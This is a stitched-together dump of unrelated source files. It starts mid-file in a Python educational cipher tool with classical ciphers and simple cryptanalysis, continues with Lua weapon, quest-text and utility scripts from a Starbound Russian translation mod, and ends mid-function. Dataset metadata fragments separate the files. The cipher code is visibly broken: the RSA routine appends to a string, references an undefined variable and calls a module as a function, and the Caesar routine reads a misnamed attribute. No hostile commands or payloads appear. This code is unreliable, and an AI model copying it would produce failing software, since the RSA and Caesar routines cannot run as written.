_/ _/\r\n _/ _/ _/ _/_/ _/_/ _/_/ _/_/_/ _/_/_/_/\r\n _/_/_/ _/_/ _/ _/ _/ _/_/_/_/ _/ _/\r\n _/ _/ _/ _/ _/ _/ _/ _/\r\n_/ _/ _/_/ _/ _/_/_/ _/_/_/ _/_/\r\n _/\r\n _/\r\n _/_/_/ _/ _/\r\n _/ _/_/_/ _/_/_/ _/_/ _/ _/_/\r\n _/_/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/\r\n _/ _/ _/ _/ _/ _/ _/ _/\r\n _/_/_/ _/ _/_/_/ _/ _/ _/_/_/ _/\r\n _/\r\n _/\r\n ''' )\r\n\r\n options = ['1', '2', '3', '4']\r\n while(True):\r\n try:\r\n choice = input('''\\n\\nMain Menu:\r\n 1. Encode into ciphertext\r\n 2. Decode into plaintext\r\n 3. Hack the ciphertext\r\n 4. Exit\r\n \\nEnter Your Choice: ''')\r\n\r\n if choice not in options:\r\n print('Please enter a valid choice!')\r\n continue\r\n elif choice == '4':\r\n exit()\r\n\r\n print('\\n(Press `Ctrl+C` to return to Main Menu)')\r\n\r\n cipher = Cipher()\r\n if choice == '1':\r\n cipher.encode()\r\n elif choice == '2':\r\n cipher.decode()\r\n else:\r\n cipher.hack()\r\n\r\n except KeyboardInterrupt:\r\n continue\r\n\r\nif __name__ == '__main__':\r\n main()\r\n" }, { "alpha_fraction": 0.7365853786468506, "alphanum_fraction": 0.7609755992889404, "avg_line_length": 21.77777862548828, "blob_id": "73659847bf8e335142903921d4f2e1698d72ac2e", "content_id": "8ed80968b9a0061d9d104b1670c17e38b673a9d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 410, "license_type": "no_license", "max_line_length": 95, "num_lines": 18, "path": "/README.md", "repo_name": "amit-s19/Project-Sipher", "src_encoding": "UTF-8", "text": "# Project Sipher(Secret Cipher) #\nThis project will be able to encode and decode a string into several known and unknown Ciphers.\n\n_Hacking also included_\n\n``` Ciphers included ```\n1. Reverse Cipher\n2. Caesar Cipher\n3. Transposition Cipher\n4. Affine Cipher\n5. One time pad Cipher\n6. Vigenere Cipher\n7. RSA Cipher\n\n```Attacks included ```\n1. Brute Force attack\n2. Dictionary attack\n3. Frequency Analysis attack\n" }, { "alpha_fraction": 0.5464034676551819, "alphanum_fraction": 0.5555133819580078, "avg_line_length": 43.27730941772461, "blob_id": "0424ca20050c1c9ee5574477af40dcc1914dc872", "content_id": "ea296e7f5512ad9a545e26f2a0fb22489be5a067", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5269, "license_type": "no_license", "max_line_length": 119, "num_lines": 119, "path": "/cipher_sub_routines.py", "repo_name": "amit-s19/Project-Sipher", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python3\n\n''' Python script containing Sub-Routines for different Ciphers '''\n\nfrom abc import ABC\nimport math\nfrom random import choice\nimport string\nfrom collections import OrderedDict\n\nclass CipherSubRoutine(ABC):\n ''' Class for supporting the main cipher class by providing the sub-routines needed'''\n\n exceptions = {\n '__primary_cipher_routine': 'Invalid Choice', \\\n '__caesar_cipher': 'Key cannot be < 1 or a multiple of 26', \\\n '__transposition_cipher': 'Key cannot be < 2 or >= the length of entered text', \\\n '__affine_cipher': 'Entered value is invalid', \\\n '__vigenere_cipher': 'Key should contain alphabets only and length of key should be <= length of text', \\\n '__otp_cipher': 'Key should contain alphabets only and length of key should be = length of text', \\\n }\n\n def __init__(self, text, length):\n self.__text = text\n self.__length = length\n\n #------------------------------ Cipher Sub-Routines --------------------------------------------------\n def _caesar_sub_routine(self, key):\n ''' Caesar Cipher sub-routine for crypting text '''\n # Adds the key to the character in the text\n return ''.join(list(map(lambda char: chr((ord(char) - ord('a') + key) % 26 + ord('a')) \\\n if char.isalpha() else char, self._text)))\n\n def _transposition_sub_routine(self, key, mode):\n ''' Transposition Cipher sub-routine for crypting text '''\n if mode == 'encode':\n # Row-Wise reading and Col-Wise Filling of the text\n return ''.join([self.__text[j] for i in range(key) for j in range(i, self.__length, key)])\n else:\n # Col-Wise reading and Row-Wise Filling of the text\n cols = math.ceil(self.__length/key)\n shaded_boxes = cols*key - self.__length\n output = ['']*cols\n col = row = 0\n for symbol in self.__text:\n output[col] += symbol\n col += 1\n if (col == cols) or (col == cols-1 and row >= key - shaded_boxes):\n col,row = 0,row+1\n return ''.join(output)\n\n def _affine_sub_routine(self, key, mode):\n ''' Affine Cipher sub-routine for crypting text '''\n if mode == 'encode':\n # new_char = (a * char + b) % 26\n return ''.join(list(map(lambda char: chr((key[0] * (ord(char) - ord('a')) + key[1]) % 26 + ord('a')) \\\n if char.isalpha() else char, self.__text)))\n\n elif mode == 'decode':\n # new char = a^-1(char - b) % 26, where a^-1 is the modulus multiplicative inverse\n a_inv = 0\n for i in range(1, 26):\n if ((key[0]*i) % 26) == 1 :\n a_inv = i\n break\n return ''.join(list(map(lambda char: chr((a_inv * (ord(char) - ord('a') - key[1])) % 26 + ord('a')) \\\n if char.isalpha() else char, self.__text)))\n\n def _vigenere_otp_sub_routine(self, keys, mode):\n ''' Vigenere Cipher sub-routine for crypting text '''\n if mode == 'encode':\n # new_char[i] = (char[i] + keys[i]) % 26\n return ''.join(list(map(lambda char, key: chr((ord(char) + ord(key) - 2 * ord('a')) % 26 + ord('a')) \\\n if char.isalpha() else char , self.__text, keys)))\n else:\n # new_char[i] = (char[i] - keys[i] + 26) % 26\n return ''.join(list(map(lambda char, key: chr((ord(char) - ord(key) + 26) % 26 + ord('a')) \\\n if char.isalpha() else char, self.__text, keys)))\n\n def _rsa_sub_routine(self, x, n, mode) :\n ''' Rsa Cipher Sub-Routine for crypting text '''\n if mode == 'encode':\n output_string = ''\n for _ in self.__text :\n output_string.append(ord(_) - ord(a) + 1)\n print ('Output string is : {} '.format(output_string))\n encrypted_data = pow(int(output_string), x) % n\n return string(encrypted_data)\n\n else:\n encrypted_data = int(self.__text)\n decrypted_data = string(pow(encrypted_data, x) % n)\n output_string = ''\n for _ in decrypted_data :\n output_string.append(chr(int(_) + ord('a') - 1))\n return output_string\n\ndef single_cipher_dispatch(default_fn):\n ''' Decorator for dispatching the cipher function corresponding to the cipher name injected '''\n registry = OrderedDict()\n registry['Default'] = default_fn\n\n def decorated_function(cipher):\n ''' cipher_func is decorated to give the desired function back '''\n return registry.get(cipher, registry['Default'])\n \n def register(cipher):\n ''' Decorator factory (or Parameterized Decorator) that will be a property of our decorated function,\n in order to register any new cipher method made '''\n def register_decorator(cipher_func):\n ''' Register Decorator which adds the injected cipher to the registry and do not modify the cipher_func '''\n registry[cipher] = cipher_func\n return cipher_func\n return register_decorator\n\n \n decorated_function.register = register\n decorated_function.registry = registry\n return decorated_function\n" } ]
3
SBT-community/Starbound_RU
https://github.com/SBT-community/Starbound_RU
70724a27d5b0b8f570c37158e96a4e3b584d7cfe
283af64f1d722deb419f6cce8d7d641aae28b537
d7b346806d035675bb6570116aca751be20a195a
refs/heads/web-interface
2023-05-31T14:23:08.322876
2020-06-22T16:14:31
2020-06-22T16:14:31
65,451,990
51
146
Apache-2.0
2016-08-11T08:22:02
2020-01-30T12:31:49
2020-02-03T16:30:22
Lua
[ { "alpha_fraction": 0.7563235759735107, "alphanum_fraction": 0.7621020674705505, "avg_line_length": 43.096153259277344, "blob_id": "6949ef7232554b7e9f0efd1fefb5dfcdc91705a1", "content_id": "d761f15be9e0e311a26c337f8e4a2fa44a77678a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 9186, "license_type": "permissive", "max_line_length": 173, "num_lines": 208, "path": "/translations/others/items/buildscripts/buildweapon.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require \"/scripts/util.lua\"\nrequire \"/scripts/vec2.lua\"\nrequire \"/scripts/versioningutils.lua\"\nrequire \"/scripts/staticrandom.lua\"\nrequire \"/items/buildscripts/abilities.lua\"\n\nfunction build(directory, config, parameters, level, seed)\n local configParameter = function(keyName, defaultValue)\n if parameters[keyName] ~= nil then\n return parameters[keyName]\n elseif config[keyName] ~= nil then\n return config[keyName]\n else\n return defaultValue\n end\n end\n\n if level and not configParameter(\"fixedLevel\", false) then\n parameters.level = level\n end\n\n -- initialize randomization\n if seed then\n parameters.seed = seed\n else\n seed = configParameter(\"seed\")\n if not seed then\n math.randomseed(util.seedTime())\n seed = math.random(1, 4294967295)\n parameters.seed = seed\n end\n end\n\n -- select the generation profile to use\n local builderConfig = {}\n if config.builderConfig then\n builderConfig = randomFromList(config.builderConfig, seed, \"builderConfig\")\n end\n\n -- select, load and merge abilities\n setupAbility(config, parameters, \"alt\", builderConfig, seed)\n setupAbility(config, parameters, \"primary\", builderConfig, seed)\n\n -- elemental type\n if not parameters.elementalType and builderConfig.elementalType then\n parameters.elementalType = randomFromList(builderConfig.elementalType, seed, \"elementalType\")\n end\n local elementalType = configParameter(\"elementalType\", \"physical\")\n\n -- elemental config\n if builderConfig.elementalConfig then\n util.mergeTable(config, builderConfig.elementalConfig[elementalType])\n end\n if config.altAbility and config.altAbility.elementalConfig then\n util.mergeTable(config.altAbility, config.altAbility.elementalConfig[elementalType])\n end\n\n -- elemental tag\n replacePatternInData(config, nil, \"<elementalType>\", elementalType)\n replacePatternInData(config, nil, \"<elementalName>\", elementalType:gsub(\"^%l\", string.upper))\n\n -- name\n if not parameters.shortdescription and builderConfig.nameGenerator then\n parameters.shortdescription = root.generateName(util.absolutePath(directory, builderConfig.nameGenerator), seed)\n end\n\n -- merge damage properties\n if builderConfig.damageConfig then\n util.mergeTable(config.damageConfig or {}, builderConfig.damageConfig)\n end\n\n -- preprocess shared primary attack config\n parameters.primaryAbility = parameters.primaryAbility or {}\n parameters.primaryAbility.fireTimeFactor = valueOrRandom(parameters.primaryAbility.fireTimeFactor, seed, \"fireTimeFactor\")\n parameters.primaryAbility.baseDpsFactor = valueOrRandom(parameters.primaryAbility.baseDpsFactor, seed, \"baseDpsFactor\")\n parameters.primaryAbility.energyUsageFactor = valueOrRandom(parameters.primaryAbility.energyUsageFactor, seed, \"energyUsageFactor\")\n\n config.primaryAbility.fireTime = scaleConfig(parameters.primaryAbility.fireTimeFactor, config.primaryAbility.fireTime)\n config.primaryAbility.baseDps = scaleConfig(parameters.primaryAbility.baseDpsFactor, config.primaryAbility.baseDps)\n config.primaryAbility.energyUsage = scaleConfig(parameters.primaryAbility.energyUsageFactor, config.primaryAbility.energyUsage) or 0\n\n -- preprocess melee primary attack config\n if config.primaryAbility.damageConfig and config.primaryAbility.damageConfig.knockbackRange then\n config.primaryAbility.damageConfig.knockback = scaleConfig(parameters.primaryAbility.fireTimeFactor, config.primaryAbility.damageConfig.knockbackRange)\n end\n\n -- preprocess ranged primary attack config\n if config.primaryAbility.projectileParameters then\n config.primaryAbility.projectileType = randomFromList(config.primaryAbility.projectileType, seed, \"projectileType\")\n config.primaryAbility.projectileCount = randomIntInRange(config.primaryAbility.projectileCount, seed, \"projectileCount\") or 1\n config.primaryAbility.fireType = randomFromList(config.primaryAbility.fireType, seed, \"fireType\") or \"auto\"\n config.primaryAbility.burstCount = randomIntInRange(config.primaryAbility.burstCount, seed, \"burstCount\")\n config.primaryAbility.burstTime = randomInRange(config.primaryAbility.burstTime, seed, \"burstTime\")\n if config.primaryAbility.projectileParameters.knockbackRange then\n config.primaryAbility.projectileParameters.knockback = scaleConfig(parameters.primaryAbility.fireTimeFactor, config.primaryAbility.projectileParameters.knockbackRange)\n end\n end\n\n -- calculate damage level multiplier\n config.damageLevelMultiplier = root.evalFunction(\"weaponDamageLevelMultiplier\", configParameter(\"level\", 1))\n\n -- build palette swap directives\n config.paletteSwaps = \"\"\n if builderConfig.palette then\n local palette = root.assetJson(util.absolutePath(directory, builderConfig.palette))\n local selectedSwaps = randomFromList(palette.swaps, seed, \"paletteSwaps\")\n for k, v in pairs(selectedSwaps) do\n config.paletteSwaps = string.format(\"%s?replace=%s=%s\", config.paletteSwaps, k, v)\n end\n end\n\n -- merge extra animationCustom\n if builderConfig.animationCustom then\n util.mergeTable(config.animationCustom or {}, builderConfig.animationCustom)\n end\n\n -- animation parts\n if builderConfig.animationParts then\n config.animationParts = config.animationParts or {}\n if parameters.animationPartVariants == nil then parameters.animationPartVariants = {} end\n for k, v in pairs(builderConfig.animationParts) do\n if type(v) == \"table\" then\n if v.variants and (not parameters.animationPartVariants[k] or parameters.animationPartVariants[k] > v.variants) then\n parameters.animationPartVariants[k] = randomIntInRange({1, v.variants}, seed, \"animationPart\"..k)\n end\n config.animationParts[k] = util.absolutePath(directory, string.gsub(v.path, \"<variant>\", parameters.animationPartVariants[k] or \"\"))\n if v.paletteSwap then\n config.animationParts[k] = config.animationParts[k] .. config.paletteSwaps\n end\n else\n config.animationParts[k] = v\n end\n end\n end\n\n -- set gun part offsets\n local partImagePositions = {}\n if builderConfig.gunParts then\n construct(config, \"animationCustom\", \"animatedParts\", \"parts\")\n local imageOffset = {0,0}\n local gunPartOffset = {0,0}\n for _,part in ipairs(builderConfig.gunParts) do\n local imageSize = root.imageSize(config.animationParts[part])\n construct(config.animationCustom.animatedParts.parts, part, \"properties\")\n\n imageOffset = vec2.add(imageOffset, {imageSize[1] / 2, 0})\n config.animationCustom.animatedParts.parts[part].properties.offset = {config.baseOffset[1] + imageOffset[1] / 8, config.baseOffset[2]}\n partImagePositions[part] = copy(imageOffset)\n imageOffset = vec2.add(imageOffset, {imageSize[1] / 2, 0})\n end\n config.muzzleOffset = vec2.add(config.baseOffset, vec2.add(config.muzzleOffset or {0,0}, vec2.div(imageOffset, 8)))\n end\n\n -- elemental fire sounds\n if config.fireSounds then\n construct(config, \"animationCustom\", \"sounds\", \"fire\")\n local sound = randomFromList(config.fireSounds, seed, \"fireSound\")\n config.animationCustom.sounds.fire = type(sound) == \"table\" and sound or { sound }\n end\n\n -- build inventory icon\n if not config.inventoryIcon and config.animationParts then\n config.inventoryIcon = jarray()\n local parts = builderConfig.iconDrawables or {}\n for _,partName in pairs(parts) do\n local drawable = {\n image = config.animationParts[partName] .. config.paletteSwaps,\n position = partImagePositions[partName]\n }\n table.insert(config.inventoryIcon, drawable)\n end\n end\n\n -- populate tooltip fields\n config.tooltipFields = {}\n local fireTime = parameters.primaryAbility.fireTime or config.primaryAbility.fireTime or 1.0\n local baseDps = parameters.primaryAbility.baseDps or config.primaryAbility.baseDps or 0\n local energyUsage = parameters.primaryAbility.energyUsage or config.primaryAbility.energyUsage or 0\n config.tooltipFields.levelLabel = util.round(configParameter(\"level\", 1), 1)\n config.tooltipFields.dpsLabel = util.round(baseDps * config.damageLevelMultiplier, 1)\n config.tooltipFields.speedLabel = util.round(1 / fireTime, 1)\n config.tooltipFields.damagePerShotLabel = util.round(baseDps * fireTime * config.damageLevelMultiplier, 1)\n config.tooltipFields.energyPerShotLabel = util.round(energyUsage * fireTime, 1)\n if elementalType ~= \"physical\" then\n config.tooltipFields.damageKindImage = \"/interface/elements/\"..elementalType..\".png\"\n end\n if config.primaryAbility then\n config.tooltipFields.primaryAbilityTitleLabel = \"Осн. атака:\"\n config.tooltipFields.primaryAbilityLabel = config.primaryAbility.name or \"unknown\"\n end\n if config.altAbility then\n config.tooltipFields.altAbilityTitleLabel = \"Умение:\"\n config.tooltipFields.altAbilityLabel = config.altAbility.name or \"unknown\"\n end\n\n -- set price\n config.price = (config.price or 0) * root.evalFunction(\"itemLevelPriceMultiplier\", configParameter(\"level\", 1))\n\n return config, parameters\nend\n\nfunction scaleConfig(ratio, value)\n if type(value) == \"table\" then\n return util.lerp(ratio, value[1], value[2])\n else\n return value\n end\nend\n" }, { "alpha_fraction": 0.695465087890625, "alphanum_fraction": 0.6981395483016968, "avg_line_length": 32.992095947265625, "blob_id": "722812def7ab275f9efa15a9bd3b8f58439b08ea", "content_id": "931393ea6e8b22bee3f85d5896952c0c47f2dde0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 8600, "license_type": "permissive", "max_line_length": 124, "num_lines": 253, "path": "/translations/others/scripts/quest/text_generation.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require(\"/scripts/util.lua\")\nrequire(\"/scripts/rect.lua\")\nrequire(\"/scripts/quest/paramtext.lua\")\nrequire(\"/scripts/quest/directions.lua\")\nrequire(\"/scripts/quest/declension.lua\")\n\nQuestTextGenerator = {}\nQuestTextGenerator.__index = QuestTextGenerator\n\nfunction QuestTextGenerator.new(...)\n local self = setmetatable({}, QuestTextGenerator)\n self:init(...)\n return self\nend\n\nfunction QuestTextGenerator:init(templateId, parameters, seed, arcPosition)\n self.templateId = templateId\n self.parameters = parameters or {}\n self.seed = seed\n assert(self.seed ~= nil)\n self.random = sb.makeRandomSource(self.seed)\n\n if arcPosition then\n if #quest.questArcDescriptor().quests == 1 then\n self.positionKey = \"solo\"\n elseif arcPosition == 0 then\n self.positionKey = \"first\"\n elseif arcPosition == #quest.questArcDescriptor().quests - 1 then\n self.positionKey = \"last\"\n else\n self.positionKey = \"next\"\n end\n end\n\n self.config = root.questConfig(self.templateId).scriptConfig\n\n self.tags = self:generateExtraTags()\n if (false) then\n -- Left here for debug purpose\n print(\"==================================\")\n print(templateId)\n print(\"----------------------------------\")\n local s = {}\n for k,v in pairs(self.tags) do table.insert(s, {k=k, v=v}) end\n table.sort(s, function(a,b) return a.k > b.k end)\n for i = 1, #s do print(s[i].k, s[i].v) end\n print(\"==================================\")\n end\nend\n\nfunction generateFluffTags(fluff, seed)\n local random = sb.makeRandomSource(seed)\n local tags = {}\n for _, entry in ipairs(fluff) do\n local varName, pool = table.unpack(entry)\n local value = pool[random:randUInt(1, #pool)]\n tags[varName] = value\n end\n return tags\nend\n\nlocal function paramHumanoidIdentity(paramValue)\n local level = paramValue.parameters.level or 1\n local npcVariant = root.npcVariant(paramValue.species, paramValue.typeName, level, paramValue.seed, paramValue.parameters)\n return npcVariant.humanoidIdentity\nend\n\nlocal function pronounGender(species, gender)\n gender = gender or \"neutral\"\n local genderOverrides = root.assetJson(\"/quests/quests.config:pronounGenders\")\n if species and genderOverrides[species] and genderOverrides[species][gender] then\n gender = genderOverrides[species][gender]\n end\n return gender\nend\n\n\nfunction QuestTextGenerator:generateExtraTags()\n local tags = {}\n local pronouns = root.assetJson(\"/quests/quests.config:pronouns\")\n local insertPronouns = function (identity, writer)\n if identity.name then\n injectDecliners(function(cn, decliner)\n writer(cn, decliner(identity)..(identity.tail or \"\"))\n end)\n end\n for pronounType, pronounText in pairs(pronouns[identity.gender] or {}) do\n writer(\".pronoun.\"..pronounType, pronounText)\n end\n end\n -- Search for nearest or context player if it doesn't supplied by parameters\n if self.parameters[\"player\"] == nil then\n if player ~= nil then\n self.parameters[\"player\"] = {\n gender = player.gender(),\n species = player.species(),\n name = world.entityName(player.id()),\n type = \"entity\",\n id = player.id\n }\n elseif world.players ~= nil then\n local mindist = 100000\n local pl = nil\n for idx, pid in pairs(world.players()) do\n local dstv = entity.distanceToEntity(pid)\n local dst = dstv[1] * dstv[1] + dstv[2] * dstv[2]\n if dst < mindist then\n mindist = dst\n pl = pid\n end\n end\n if pl then\n self.parameters[\"player\"] = {\n gender = world.entityGender(pl),\n species = world.entitySpecies(pl),\n name = world.entityName(pl),\n type = \"entity\",\n id = function() return pl end\n }\n end\n end\n end\n\n for paramName, paramValue in pairs(self.parameters) do\n if paramValue.region then\n tags[paramName .. \".direction\"] = describeDirection(rect.center(paramValue.region))\n end\n\n local gender = nil\n local identity = paramValue\n if ({npcType=1, npc=1})[paramValue.type] then\n identity.gender, identity.name, identity.tail = detectForm(identity.name)\n local real = paramHumanoidIdentity(paramValue)\n tags[paramName .. \".name\"] = real.name\n tags[paramName .. \".gender\"] = real.gender\n real.gender = pronounGender(identity.species, real.gender)\n insertPronouns(real, function(k,v)tags[paramName..k]=v end)\n insertPronouns(real, function(k,v)tags[paramName..\".name\"..k]=v end)\n tags[paramName] = identity.name\n insertPronouns(identity, function(k,v)tags[paramName..\".type\"..k]=v end)\n elseif paramValue.type == \"entity\" then\n tags[paramName .. \".gender\"] = paramValue.gender\n gender = pronounGender(paramValue.species, paramValue.gender)\n elseif paramValue.type == \"itemList\" then\n gender = questParameterItemListTag(identity, function(casename, value)\n tags[paramName..casename] = value\n end)\n elseif ({item=1,monsterType=1})[paramValue.type] then\n identity.species = paramValue.type\n identity.name = identity.name or itemShortDescription(identity.item)\n gender, identity.name, identity.tail = detectForm(identity.name)\n elseif paramValue.name then\n tags[paramName] = paramValue.name\n end\n\n if gender then\n identity.gender = gender\n insertPronouns(identity, function(k,v)tags[paramName..k] = v end)\n end\n end\n\n local fluff = self.config.generatedText and self.config.generatedText.fluff\n if fluff then\n util.mergeTable(tags, generateFluffTags(fluff, self.seed))\n end\n\n return tags\nend\n\nfunction QuestTextGenerator:generateText(textField, speakerField)\n local speakers = self.config.portraits\n local speaker = speakers[speakerField] or speakers.default\n local species = nil\n if type(speaker) == \"string\" then\n local speakerParamValue = self.parameters[speaker]\n if speakerParamValue then\n species = speakerParamValue.species\n end\n elseif speaker then\n species = speaker.species\n end\n\n local variants = self.config.generatedText[textField]\n if not variants then return \"\" end\n if self.positionKey then\n variants = variants[self.positionKey] or variants.default\n end\n if not variants then return \"\" end\n if not variants[1] then\n variants = variants[species or \"default\"] or variants.default\n end\n if not variants then return \"\" end\n\n local text = variants[self.random:randUInt(1, #variants)]\n return self:substituteTags(text)\nend\n\nfunction QuestTextGenerator:substituteTags(text)\n -- Substitute into the text until no further changes are made.\n -- (Enables recursive use of fluff variables and parameters within fluff.)\n local lastText\n repeat\n lastText = text\n -- Does not work properly with multibyte unicode chars\n -- text = sb.replaceTags(text, self.tags)\n text = text:gsub(\"<([%w.]+)>\", self.tags)\n until text == lastText\n\n return text\nend\n\nfunction currentQuestTextGenerator()\n return QuestTextGenerator.new(quest.templateId(), quest.parameters(), quest.seed(), quest.questArcPosition())\nend\n\nfunction questTextGenerator(questDesc)\n return QuestTextGenerator.new(questDesc.templateId, questDesc.parameters, questDesc.seed)\nend\n\nfunction generateQuestText()\n local arc = quest.questArcDescriptor()\n local finalQuestDesc = arc.quests[#arc.quests]\n local finalGenerator = QuestTextGenerator.new(finalQuestDesc.templateId, finalQuestDesc.parameters, finalQuestDesc.seed)\n local currentGenerator = currentQuestTextGenerator()\n\n quest.setTitle(finalGenerator:generateText(\"title\", \"questStarted\"))\n quest.setCompletionText(currentGenerator:generateText(\"completionText\", \"questComplete\"))\n quest.setFailureText(finalGenerator:generateText(\"failureText\", \"questFailed\"))\n\n local goalText = finalGenerator:generateText(\"goalText\", \"questStarted\")\n local mainText = currentGenerator:generateText(\"text\", \"questStarted\")\n local join = goalText and goalText ~= \"\" and root.assetJson(\"/quests/quests.config:goalTextSeparator\") or \"\"\n local text = goalText .. join .. mainText\n quest.setText(text)\nend\n\nfunction generateNoteItem(templates, title, textGenerator)\n local template = templates[math.random(#templates)]\n local description = textGenerator:substituteTags(template)\n return {\n name = \"secretnote\",\n count = 1,\n parameters = {\n shortdescription = title,\n description = \"\\\"\"..description..\"\\\"\"\n }\n }\nend\n\nfunction questNoteTemplates(templateId, configPath)\n local questConfig = root.questConfig(templateId).scriptConfig\n return sb.jsonQuery(questConfig, configPath)\nend\n" }, { "alpha_fraction": 0.6032143831253052, "alphanum_fraction": 0.6156768798828125, "avg_line_length": 23.01368522644043, "blob_id": "fecf322cec6c6f35717b8ffcec50e21bfc2b3d7d", "content_id": "339e299ea8ab47f83901923dc12f3f7b243b525d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 26319, "license_type": "permissive", "max_line_length": 142, "num_lines": 1096, "path": "/translations/others/scripts/util.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "util = {}\n\nfunction util.pp(txt, level)\n local lvl = level or ''\n if type(txt) == 'string' then\n print(lvl..txt)\n elseif type(txt) == 'table' then\n for k, v in pairs(txt) do\n print(lvl..k)\n util.pp(v, lvl..' ')\n end\n else\n print(lvl..\"[\"..type(txt)..\"]:\"..tostring(txt))\n end\nend\n--------------------------------------------------------------------------------\nfunction util.blockSensorTest(sensorGroup, direction)\n local reverse = false\n if direction ~= nil then\n reverse = util.toDirection(direction) ~= mcontroller.facingDirection()\n end\n\n for i, sensor in ipairs(config.getParameter(sensorGroup)) do\n if reverse then\n sensor[1] = -sensor[1]\n end\n\n if world.pointTileCollision(monster.toAbsolutePosition(sensor), {\"Null\", \"Block\", \"Dynamic\", \"Slippery\"}) then\n return true\n end\n end\n\n return false\nend\n\n--------------------------------------------------------------------------------\nfunction util.toDirection(value)\n if value < 0 then\n return -1\n else\n return 1\n end\nend\n\n--------------------------------------------------------------------------------\nfunction util.clamp(value, min, max)\n return math.max(min, math.min(value, max))\nend\n\nfunction util.wrap(value, min, max)\n if value > max then\n return min\n end\n if value < min then\n return max\n end\n return value\nend\n\n--------------------------------------------------------------------------------\nfunction util.angleDiff(from, to)\n return ((((to - from) % (2*math.pi)) + (3*math.pi)) % (2*math.pi)) - math.pi\nend\n\n--------------------------------------------------------------------------------\nfunction util.round(num, idp)\n local mult = 10^(idp or 0)\n return math.floor(num * mult + 0.5) / mult\nend\n\n--------------------------------------------------------------------------------\nfunction util.incWrap(value, max)\n if value >= max then\n return 1\n else\n return value + 1\n end\nend\n\n--------------------------------------------------------------------------------\nfunction util.wrapAngle(angle)\n while angle >= 2 * math.pi do\n angle = angle - 2 * math.pi\n end\n\n while angle < 0 do\n angle = angle + 2 * math.pi\n end\n\n return angle\nend\n\n--------------------------------------------------------------------------------\nfunction util.boundBox(poly)\n local min = {}\n local max = {}\n for _,vertex in ipairs(poly) do\n if not min[1] or vertex[1] < min[1] then\n min[1] = vertex[1]\n end\n if not min[2] or vertex[2] < min[2] then\n min[2] = vertex[2]\n end\n if not max[1] or vertex[1] > max[1] then\n max[1] = vertex[1]\n end\n if not max[2] or vertex[2] > max[2] then\n max[2] = vertex[2]\n end\n end\n if not min[1] or not min[2] or not max[1] or not max[2] then\n return {0, 0, 0, 0}\n end\n return {min[1], min[2], max[1], max[2]}\nend\n\nfunction util.tileCenter(pos)\n return {math.floor(pos[1]) + 0.5, math.floor(pos[2]) + 0.5}\nend\n\n--------------------------------------------------------------------------------\nfunction util.filter(t, predicate)\n local newTable = {}\n for _,value in ipairs(t) do\n if predicate(value) then\n newTable[#newTable+1] = value\n end\n end\n return newTable\nend\n\nfunction util.find(t, predicate, index)\n if index == nil then index = 1 end\n local current = 0\n for i,value in ipairs(t) do\n if predicate(value) then\n current = current + 1\n if current == index then return value, i end\n end\n end\nend\n\nfunction util.all(t, predicate)\n for _,v in ipairs(t) do\n if not predicate(v) then\n return false\n end\n end\n return true\nend\n\nfunction util.each(t, func)\n for k,v in pairs(t) do\n func(k,v)\n end\nend\n\nfunction util.values(t)\n local vals = {}\n for _, v in pairs(t) do\n table.insert(vals, v)\n end\n return vals\nend\n\nfunction util.keys(t)\n local keys = {}\n for k,_ in pairs(t) do\n table.insert(keys, k)\n end\n return keys\nend\n\nfunction util.orderedKeys(t)\n local keys = util.keys(t)\n table.sort(keys)\n return keys\nend\n\nfunction util.rep(f, n)\n local values = {}\n for i = 1, n do\n values[i] = f()\n end\n return values\nend\n\nfunction util.map(t, func, newTable)\n newTable = newTable or {}\n for k,v in pairs(t) do\n newTable[k] = func(v)\n end\n return newTable\nend\n\nfunction util.count(t,value)\n local count = 0\n for _,v in pairs(t) do\n if v == value then count = count + 1 end\n end\n return count\nend\n\nfunction util.fold(t, a, func)\n for _,v in pairs(t) do\n a = func(a, v)\n end\n return a\nend\n\nfunction util.mapWithKeys(t, func, newTable)\n newTable = newTable or {}\n for k,v in pairs(t) do\n newTable[k] = func(k,v)\n end\n return newTable\nend\n\nfunction util.zipWith(tbl1, tbl2, func, newTable)\n newTable = newTable or {}\n for k,_ in pairs(tbl1) do\n newTable[k] = func(tbl1[k], tbl2[k])\n end\n for k,_ in pairs(tbl2) do\n if tbl1[k] == nil then\n newTable[k] = func(tbl1[k], tbl2[k])\n end\n end\n return newTable\nend\n\nfunction util.toList(t)\n local list = {}\n for _,v in pairs(t) do\n table.insert(list, v)\n end\n return list\nend\n\nfunction util.take(n, list)\n local result = {}\n for i,elem in ipairs(list) do\n if i <= n then\n result[i] = elem\n else\n break\n end\n end\n return result\nend\n\nfunction util.takeEnd(list, n)\n local result = {}\n for i = math.max(#list - n + 1, 1), #list do\n table.insert(result, list[i])\n end\n return result\nend\n\n--------------------------------------------------------------------------------\nfunction util.trackTarget(distance, switchTargetDistance, keepInSight)\n local targetIdWas = self.targetId\n\n if self.targetId == nil then\n self.targetId = util.closestValidTarget(distance)\n end\n\n if switchTargetDistance ~= nil then\n -- Switch to a much closer target if there is one\n local targetId = util.closestValidTarget(switchTargetDistance)\n if targetId ~= 0 and targetId ~= self.targetId then\n self.targetId = targetId\n end\n end\n\n util.trackExistingTarget(keepInSight)\n\n return self.targetId ~= targetIdWas and self.targetId ~= nil\nend\n\nfunction util.nearestPosition(positions)\n local bestDistance = nil\n local bestPosition = nil\n for _,position in pairs(positions) do\n local distance = world.magnitude(position, entity.position())\n if not bestDistance or distance < bestDistance then\n bestPosition = position\n bestDistance = distance\n end\n end\n return bestPosition\nend\n\nfunction util.closestValidTarget(range)\n local newTargets = world.entityQuery(entity.position(), range, { includedTypes = {\"player\", \"npc\", \"monster\"}, order = \"nearest\" })\n local valid = util.find(newTargets, function(targetId) return entity.isValidTarget(targetId) and entity.entityInSight(targetId) end)\n return valid or 0\nend\n\n--------------------------------------------------------------------------------\nfunction util.trackExistingTarget(keepInSight)\n if keepInSight == nil then 